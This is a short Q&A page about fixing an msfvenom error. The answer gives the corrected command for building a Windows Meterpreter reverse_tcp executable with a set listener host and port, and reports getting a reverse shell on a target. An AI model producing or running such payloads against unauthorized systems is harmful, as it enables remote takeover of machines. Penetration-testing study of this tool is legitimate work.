Search code examples
payload

Custom Payload Kali Linux


root@kali:~# msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -f exe
Attempting to read payload from STDIN...
You must select an arch for a custom payload

I've been googling for sometime now, with no positive result.

Can anyone tell me what is meant by 'You must select an arch for a custom payload'?


Solution

  • If you go to msfvenom -h it will bring up the help. You will see the command to set the architecture is '-a' which you need to set to x86 or any other architecture you want. so your command would look like msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -a x86 -f exe > yourexploit.exe BUT you're gonna actually need to specify the payload by including '-p' in front of your payload description, so your command will look like msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -a x86 -f exe > yourexploit.exe . It's gonna complain that no platform was selected so it selected one for you... "No platform was selected, choosing Msf::Module::Platform::Windows from the payload", then you'll get "Found 0 compatible encoders", just ignore that. Type in "file yourexploit.exe" and it should give you some data saying PE32 executable....then you're good to go. I just figured this out and it worked for me, ran the the .exe in my target and got reverse shell. Good luck!